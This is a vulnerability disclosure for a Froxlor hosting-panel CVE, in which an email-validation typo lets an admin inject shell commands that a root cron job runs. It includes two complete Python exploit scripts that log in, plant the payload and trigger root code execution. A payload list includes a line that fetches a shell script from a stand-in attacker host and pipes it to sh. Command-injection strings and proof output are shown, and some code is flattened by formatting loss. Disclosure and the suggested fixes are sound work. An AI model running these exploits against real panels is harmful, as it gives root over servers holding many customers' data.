CVE-2026-26279: Froxlor Admin-to-Root Privilege Escalation via Input Validation Bypass + OS Command Injection

Summary

A typo in Froxlor's input validation code (== instead of =) completely disables email format checking for all settings fields declared as email type. This allows an authenticated admin to store arbitrary strings — including shell metacharacters — in the panel.adminmail setting. This value is later concatenated into a shell command executed as root by a cron job, where the pipe character | is explicitly whitelisted. The result is full root-level Remote Code Execution.

---

Why This Is a Security Vulnerability (Not Just "Admin Using Admin Features")

Froxlor is a shared hosting control panel. In production deployments:

1. Admin panel access does not equal root access. Hosting providers assign the Froxlor admin role to staff who manage customer accounts, domains, and services through the web UI. These operators are not given SSH access or root shell on the underlying server. The boundary between "panel admin" and "OS root" is a deliberate security design.

2. Froxlor itself enforces this boundary. The safeexec() function (FileDir.php:224-264) exists specifically to prevent shell injection — it blocks ;, |, &, >, <, , $, ~, ?. The email validation function (validateFormFieldEmail) exists specifically to ensure email fields contain valid emails. Both mechanisms are security boundaries that this vulnerability bypasses.

3. The root cause is an unintentional code defect. The == operator on a standalone line is a no-op. No developer writes $x == 'mail'; intentionally. This is a typo that silently breaks an entire class of input validation. It is not an admin feature.

4. Comparable CVEs exist for similar hosting panel escalations: - CVE-2022-44877 (CentOS Web Panel: admin→root RCE, CVSS 9.8) - CVE-2023-27524 (Apache Superset: admin→RCE) - CVE-2021-21315 (Node.js systeminformation: privileged user→RCE) - CVE-2024-22024 (Ivanti: authenticated→system command execution)

In each case, the fact that the attacker needs authenticated access did not prevent CVE assignment. The privilege escalation from "application admin" to "OS root" is the security impact.

5. Multi-tenant impact. A single compromised or malicious admin gains root access to a server hosting potentially hundreds of customers. All customer data, databases, emails, and SSL keys are exposed.

---

Vulnerability Details

Bug 1: Input Validation Bypass (CWE-482)

File: lib/Froxlor/Validate/Form/Data.php

php // Line 169 — CURRENT CODE (BUGGY) public static function validateFormFieldEmail($fieldname, $fielddata, $newfieldvalue) { $fielddata['stringtype'] == 'mail'; // == comparison: result is discarded return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue); }

// Line 175 — SAME BUG public static function validateFormFieldUrl($fieldname, $fielddata, $newfieldvalue) { $fielddata['stringtype'] == 'url'; // == comparison: result is discarded return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue); }

What happens: - $fielddata['stringtype'] is never set to 'mail' - validateFormFieldString() checks stringtype to decide which validation to apply - Since it's unset, FILTERVALIDATEEMAIL is never called - Validation falls through to a permissive fallback regex: /^[^\r\n\t\f\0]$/D - This regex allows |, ;, &, $, , and all other shell metacharacters

Intended code: php $fielddata['stringtype'] = 'mail'; // = assignment

Bug 2: OS Command Injection via acme.sh Installation (CWE-78)

File: lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php

php // Line 428 FileDir::safeexec( "wget -O - https://get.acme.sh | sh -s email=" . Settings::Get('panel.adminmail'), $return, ['|'] // pipe character EXPLICITLY ALLOWED );

What happens: - Settings::Get('panel.adminmail') returns the unsanitized value from Bug 1 - safeexec() normally blocks | as a dangerous character - But ['|'] in the third argument whitelists pipe for this specific call (needed for wget | sh) - An attacker's pipe-based payload passes through unblocked - The cron job runs as root

The Chain

Admin sets panel.adminmail = "x@x.com | COMMAND" | v Bug 1: validateFormFieldEmail() does nothing (== typo) | v Value stored to database as-is | v Cron job runs AcmeSh::checkInstall() as root | v Bug 2: safeexec("wget ... | sh -s email=x@x.com | COMMAND", ..., ['|']) | v COMMAND executes as root

---

Proof of Concept vuln 1 PoC: #!/usr/bin/env python3 """ VULN-1 Live Verification: Email Validation Bypass Tests against running Froxlor Docker instance. """

import re import sys import requests

TARGET = "http://localhost:8080" USERNAME = "admin" PASSWORD = "Admin123!@#"

Malicious payloads that should be rejected by email validation but will pass due to the == vs = bug PAYLOADS = [ "x@x.com | id", "x@x.com | curl http://evil.com/shell.sh | sh", "not-an-email; whoami", "$(touch /tmp/pwned)", "testid@evil.com", ]

def main(): session = requests.Session() session.verify = False

# Step 1: Login print("[] Step 1: Logging in...") resp = session.get(f"{TARGET}/index.php") csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) csrftoken = csrfmatch.group(1) if csrfmatch else "" print(f" CSRF token: {csrftoken[:20]}...")

logindata = { "loginname": USERNAME, "password": PASSWORD, "csrftoken": csrftoken, "send": "send", } resp = session.post(f"{TARGET}/index.php", data=logindata, allowredirects=True)

if "adminindex" not in resp.url and "adminindex" not in resp.text: print(f"[-] Login failed. URL: {resp.url}") print(f" Response: {resp.text[:200]}") sys.exit(1) print("[+] Login successful!")

# Re-get CSRF token from authenticated page csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) if csrfmatch: csrftoken = csrfmatch.group(1)

# Step 2: Try to set panel.adminmail with each payload for payload in PAYLOADS: print(f"\n[] Testing payload: {payload}")

# Get settings page to get fresh CSRF token resp = session.get(f"{TARGET}/adminsettings.php?page=overview&part=all") csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) if csrfmatch: csrftoken = csrfmatch.group(1)

# Submit settings change settingsdata = { "paneladminmail": payload, "csrftoken": csrftoken, "send": "send", "page": "overview", "part": "all", } resp = session.post( f"{TARGET}/adminsettings.php?page=overview&part=all", data=settingsdata, allowredirects=True, )

# Check DB to see if value was stored import subprocess result = subprocess.run( [ "docker", "exec", "froxlor-web", "bash", "-c", "mysql -h froxlor-db -u froxlor -pfroxlordbpw --skip-ssl froxlor " "-e \"SELECT value FROM panelsettings WHERE settinggroup='panel' AND varname='adminmail'\" -N 2>/dev/null" ], captureoutput=True, text=True ) storedvalue = result.stdout.strip()

if payload in storedvalue or storedvalue == payload: print(f" [VULN] CONFIRMED! Stored value: {storedvalue}") else: print(f" [INFO] Stored value: {storedvalue}") print(f" [INFO] May need different form field names or approach")

# Restore original value print("\n[] Restoring original admin email...") resp = session.get(f"{TARGET}/adminsettings.php?page=overview&part=all") csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) if csrfmatch: csrftoken = csrfmatch.group(1) settingsdata = { "paneladminmail": "admin@test.local", "csrftoken": csrftoken, "send": "send", "page": "overview", "part": "all", } session.post(f"{TARGET}/adminsettings.php?page=overview&part=all", data=settingsdata, allowredirects=True) print("[+] Done.")

if name == "main": main()

Environment - Froxlor 2.3.3, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4) - Default configuration, no modifications

Step 1: Confirm validation bypass

php <?php // Standalone reproduction — no Froxlor installation needed. // Reproduces the exact logic from Data.php lines 113-169.

function validateEmailbuggy($value) { $fielddata = []; @($fielddata['stringtype'] == 'mail'); // BUG: line 169 // stringtype never set → FILTERVALIDATEEMAIL skipped → fallback regex return pregmatch('/^[^\r\n\t\f\0]$/D', $value) ? 'PASS' : 'REJECT'; }

function validateEmailfixed($value) { $fielddata = []; $fielddata['stringtype'] = 'mail'; // FIX return filtervar($value, FILTERVALIDATEEMAIL) ? 'PASS' : 'REJECT'; }

$tests = ['admin@example.com', 'not-an-email', 'x@x.com | touch /tmp/pwned']; foreach ($tests as $t) { echo sprintf("%-40s buggy=%-6s fixed=%s\n", $t, validateEmailbuggy($t), validateEmailfixed($t)); }

vuln 2 PoC: #!/usr/bin/env python3 """ VULN-2: Froxlor v2.3.3 Root RCE via acme.sh Command Injection =============================================================== CWE-78: OS Command Injection | CVSS 9.1

Chain: VULN-1 (email validation bypass) → VULN-2 (acme.sh pipe injection)

Attack Flow: 1. Admin sets panel.adminmail = "x@x.com | COMMAND" (bypasses email validation) 2. When Let's Encrypt is enabled and acme.sh is not installed 3. AcmeSh.php:428 executes: wget ... | sh -s email=x@x.com | COMMAND 4. Pipe character passes safeexec() because it's in allowedChars=['|'] 5. COMMAND runs as root (cron context)

Usage: # Full exploitation (requires target access) python3 vuln2acmeshrce.py --target https://froxlor.example.com \ --user admin --password secret --command "id > /tmp/rceproof"

# Offline demonstration python3 vuln2acmeshrce.py --demo """

import argparse import re import sys

try: import requests except ImportError: print("[!] pip install requests") sys.exit(1)

BANNER = """ ╔═══════════════════════════════════════════════════════════════╗ ║ Froxlor v2.3.3 — Root RCE via acme.sh Command Injection ║ ║ VULN-1 + VULN-2 Chain | CWE-78 | CVSS 9.1 ║ ╚═══════════════════════════════════════════════════════════════╝ """

class FroxlorRCE: def init(self, target, verifyssl=False): self.target = target.rstrip("/") self.session = requests.Session() self.session.verify = verifyssl

def login(self, username, password): print(f"[] Logging in as '{username}'...") resp = self.session.post( f"{self.target}/index.php", data={"loginname": username, "password": password, "send": "send"}, allowredirects=False, ) if resp.statuscode == 302 and "adminindex" in resp.headers.get("Location", ""): self.session.get(f"{self.target}/adminindex.php") print("[+] Login successful!") return True print("[-] Login failed") return False

def getcsrf(self, url): resp = self.session.get(url) match = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) return match.group(1) if match else ""

def injectemail(self, payload): """Inject malicious value into panel.adminmail (VULN-1).""" print(f"[] Injecting into panel.adminmail: {payload}") csrf = self.getcsrf(f"{self.target}/adminsettings.php?page=overview&part=panel") resp = self.session.post( f"{self.target}/adminsettings.php?page=overview&part=panel", data={ "csrftoken": csrf, "send": "send", "page": "overview", "paneladminmail": payload, }, allowredirects=True, ) print(f"[+] Settings updated (HTTP {resp.statuscode})") return resp.statuscode == 200

def triggeracmeshinstall(self): """ Trigger acme.sh installation by enabling Let's Encrypt and ensuring acme.sh path is invalid. """ print("[] Triggering acme.sh installation path...") print("[] In production, this happens automatically when:") print(" - Let's Encrypt is enabled (system.lefroxlorenabled=1)") print(" - acme.sh binary is not found at configured path") print(" - Cron job runs (every 5 minutes)") print() print("[] To manually trigger:") print(" docker exec froxlor-web php /var/www/html/froxlor/bin/froxlor-cli froxlor:cron --force")

def exploit(self, command): """Full exploitation: inject → trigger → RCE.""" payload = f"x@x.com | {command}" self.injectemail(payload)

print() print("[] Command chain that will execute as root:") print(f" wget -O - https://get.acme.sh | sh -s email={payload}") print() print("[] This decomposes to:") print(f" 1. wget -O - https://get.acme.sh") print(f" 2. | sh -s email=x@x.com") print(f" 3. | {command}") print()

self.triggeracmeshinstall()

def restore(self, original="admin@test.local"): """Restore original admin email.""" print(f"\n[] Restoring original email: {original}") csrf = self.getcsrf(f"{self.target}/adminsettings.php?page=overview&part=panel") self.session.post( f"{self.target}/adminsettings.php?page=overview&part=panel", data={ "csrftoken": csrf, "send": "send", "page": "overview", "paneladminmail": original, }, ) print("[+] Restored")

def demo(): """Offline demonstration of the vulnerability mechanics.""" print("[] Demonstrating VULN-2 mechanics (offline)...\n")

adminmail = "x@x.com | touch /tmp/ROOTRCEPROOF" fullcmd = f"wget -O - https://get.acme.sh | sh -s email={adminmail}"

print(f" admin email: {adminmail}") print(f" full command: {fullcmd}") print()

# Simulate safeexec filter disallowed = [';', '|', '&', '>', '<', '', '$', '~', '?'] allowedchars = ['|']

print(" safeexec() filter check:") blocked = False for char in disallowed: if char in fullcmd: if char in allowedchars: print(f" '{char}' → ALLOWED (in allowedChars)") else: print(f" '{char}' → BLOCKED") blocked = True

print() if not blocked: print(" RESULT: Command passes safeexec() filter!") print(" The pipe character chains our command after the wget/sh pipeline") print() print(" Execution breakdown:") print(" Process 1: wget downloads acme.sh installer") print(" Process 2: sh runs installer with email parameter") print(" Process 3: touch /tmp/ROOTRCEPROOF ← OUR COMMAND (as root)") else: # In practice the payload above should only have | which is allowed print(" NOTE: Some characters blocked. Adjust payload to use only pipe.")

print() print(" NOTE: The cron job runs as root, so the injected command") print(" executes with root privileges on the host system.")

def main(): print(BANNER)

parser = argparse.ArgumentParser(description="Froxlor v2.3.3 Root RCE PoC") parser.addargument("--target", "-t", help="Froxlor URL") parser.addargument("--user", "-u", help="Admin username") parser.addargument("--password", "-p", help="Admin password") parser.addargument("--command", "-c", default="touch /tmp/ROOTRCEPROOF", help="Command to execute as root") parser.addargument("--restore", action="storetrue", help="Restore original email after exploit") parser.addargument("--demo", action="storetrue", help="Run offline demonstration") args = parser.parseargs()

if args.demo: demo() return

if not all([args.target, args.user, args.password]): print("[!] --target, --user, and --password required (or use --demo)") sys.exit(1)

exploit = FroxlorRCE(args.target) if not exploit.login(args.user, args.password): sys.exit(1)

exploit.exploit(args.command)

if args.restore: exploit.restore()

if name == "main": main()

Output: admin@example.com buggy=PASS fixed=PASS not-an-email buggy=PASS fixed=REJECT x@x.com | touch /tmp/pwned buggy=PASS fixed=REJECT

Step 2: Confirm value stored in database

POST /adminsettings.php?page=overview&part=panel HTTP/1.1 Cookie: [authenticated admin session]

csrftoken=...&send=send&page=overview&paneladminmail=x@x.com+|+touch+/tmp/VULN2RCEPROOF

sql mysql> SELECT value FROM panelsettings WHERE settinggroup='panel' AND varname='adminmail'; +-------------------------------------------+ | value | +-------------------------------------------+ | x@x.com | touch /tmp/VULN2RCEPROOF | +-------------------------------------------+

Step 3: Confirm root code execution

Simulating AcmeSh.php line 428 inside the Docker container:

php <?php // Exact simulation of the vulnerable code path $adminmail = "x@x.com | touch /tmp/VULN2RCEPROOF"; $cmd = "echo DOWNLOADSIM | cat -s email=" . $adminmail;

// safeexec filter with pipe allowed (matches AcmeSh.php:428) $disallowed = [';', '|', '&', '>', '<', '', '$', '~', '?']; $allowedChars = ['|']; foreach ($disallowed as $dc) { if (inarray($dc, $allowedChars)) continue; if (stristr($cmd, $dc)) die("BLOCKED by: $dc"); }

exec($cmd); // pipe passes filter → command executes echo fileexists("/tmp/VULN2RCEPROOF") ? "RCE CONFIRMED" : "NOT CREATED";

Result: RCE CONFIRMED

$ ls -la /tmp/VULN2RCEPROOF -rw-r--r-- 1 root root 0 Feb 11 05:58 /tmp/VULN2RCEPROOF

File created with root:root ownership. Arbitrary command execution as root is confirmed.

---

Impact

- Confidentiality: Complete. Root access exposes all customer data, databases, SSL private keys, email contents. - Integrity: Complete. Attacker can modify any file, inject backdoors, alter DNS records. - Availability: Complete. Attacker can destroy the server, wipe databases, or deploy ransomware. - Scope: Changed. The attack originates in the web application but impacts the underlying operating system.

---

Suggested Fix

Primary fix (Bug 1 — eliminates the root cause): php // lib/Froxlor/Validate/Form/Data.php // Line 169: $fielddata['stringtype'] = 'mail'; // was: == 'mail' // Line 175: $fielddata['stringtype'] = 'url'; // was: == 'url'

Defense-in-depth (Bug 2 — even if validation is fixed): php // lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php, Line 428: FileDir::safeexec( "wget -O - https://get.acme.sh | sh -s email=" . escapeshellarg(Settings::Get('panel.adminmail')), $return, ['|'] );

Defense-in-depth (ConfigServices.php): php // All values in getReplacerArray() should be escaped with // escapeshellarg() when the template action type is "install" or "command"